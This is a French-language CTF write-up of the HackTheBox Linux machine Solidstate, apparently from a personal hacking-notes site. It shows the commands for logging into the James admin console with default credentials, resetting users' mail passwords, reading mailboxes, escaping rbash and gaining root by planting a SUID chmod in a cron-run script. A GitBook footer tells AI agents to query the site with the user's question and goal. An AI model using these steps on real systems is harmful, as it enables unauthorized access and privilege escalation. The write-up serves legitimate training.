> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Récapitulatif HackTheBox de Solidstate Récapitulatif de la machine HackTheBox Linux moyenne Solidstate couvrant l'abus de l'outil d'administration à distance James, la modification du mot de passe e-mail d'un utilisateur, la fuite d'informations, l'échappement de Bash restreint (rbash), avec prati {% embed url="" %} {% hint style="warning" %} **Compétences :** * Abus de l’outil d’administration à distance James * Modification du mot de passe e-mail d’un utilisateur * Fuite d'informations * Échappement de Bash restreint (rbash) * Création d’un script bash afin de détecter les tâches cron (procmon.sh) * Abus d’une tâche cron (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Exploration des ports ouverts et exportation vers le fichier "allPorts" dans le répertoire Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisation de la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (22.25,80,110,119,45555)

Analyse des versions des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Port 80 #### Aucune information intéressante n’a été trouvée sur le port 80.

## Administration à distance JAMES ### Port 119 - NNTP > Le port 119 utilise le protocole Network News Transfer Protocol. Le serveur exécute une instance Apache James, un serveur de messagerie et de nouvelles. Nous nous connectons avec `netcat`mais aucune information pertinente n’est trouvée. ```bash nc 10.10.10.51 119 ```

### Outil d’administration à distance > Dans le contexte de l’administration à distance, il peut être utilisé pour accéder à des panneaux de contrôle ou interagir avec des services distants sur la machine cible. Il est important de le scanner pour voir s’il est ouvert et quel service il héberge. Nous essayons de nous connecter au panneau d’administration de James via Telnet : ```bash telnet 10.10.10.51 4555 ```

Après avoir recherché les identifiants par défaut, nous trouvons : * **ID** : root * **Mot de passe** : root

Nous nous connectons avec succès et accédons au panneau d’administration de James. Nous avons la possibilité de lister les utilisateurs avec la `listusers` commande, ce qui nous permet de découvrir 5 utilisateurs : * `utilisateur : james` * `utilisateur : thomas` * `utilisateur : john` * `utilisateur : mindy` * `utilisateur : mailadmin`

Nous pouvons changer les mots de passe des utilisateurs avec la `setpassword` commande pour les connecter au client de messagerie sur le port 110. Nous faisons cela pour tous les utilisateurs : ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Port 110 - POP3 > Le port 110 est le port standard utilisé pour **POP3** (Post Office Protocol version 3). Ce protocole est utilisé par les clients de messagerie pour récupérer les e-mails depuis un serveur. Lorsqu’un utilisateur se connecte à un serveur POP3 via ce port, il peut télécharger ses messages. Nous nous connectons maintenant au client POP3 via Telnet :

telnet 10.10.10.51 110

Pour se connecter, nous utilisons les commandes suivantes : ```ada USER PASS ``` Nous listons les messages avec la `list` commande. Nous constatons qu’il n’y a aucun message dans les boîtes de `james` et `thomas`.

Cependant, l’utilisateur `john` a un message que nous récupérons avec la `retr 1` commande. Le message contient le texte suivant : > John, > > Peux-tu restreindre l’accès de Mindy jusqu’à ce qu’elle soit autorisée à rejoindre le programme ? Assure-toi aussi de lui envoyer un mot de passe temporaire afin qu’elle puisse se connecter à ses comptes. > > Merci d’avance. > > Cordialement,/ James

Cela suggère que l’utilisateur `mindy` a des identifiants dans sa boîte mail. En effet, nous trouvons les informations suivantes : * **Nom d'utilisateur** : mindy * **Mot de passe** : P\@55W0rd1!2@

Nous utilisons ces identifiants pour nous connecter via SSH et obtenir le flag `user.txt`. ### Drapeau user.txt :)

## Élévation de privilèges : ### **Évasion de RBash vers Bash** Le `mindy` l’utilisateur utilise actuellement un `rbash` shell qui limite l’exécution de nombreuses commandes.

Pour contourner cette restriction, nous utilisons la commande suivante lors de la connexion SSH afin d’obtenir un shell Bash : ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Nous utilisons ensuite les commandes suivantes pour prendre en charge le terminal et obtenir un shell complet : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Tâches cron - Script modifié (Python) : Nous créons un script Bash pour analyser les processus en cours et détecter les tâches cron exécutées sur la machine cible : ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` En exécutant ce script, nous remarquons que le **root** utilisateur exécute un script Python situé dans le `/opt/tmp.py` répertoire.

Nous avons la possibilité de modifier ce script Python.

Nous le modifions pour ajouter la commande permettant de définir un **setuid** sur l’objet `/bin/bash` binaire, ce qui nous permet d’exécuter un shell Bash avec les privilèges de **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` Après avoir modifié le script, nous attendons environ une minute que la tâche cron s’exécute. Une fois la tâche cron exécutée, nous pouvons obtenir un shell Bash avec **root** privilèges en exécutant la commande suivante : ```bash /bin/bash -p ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.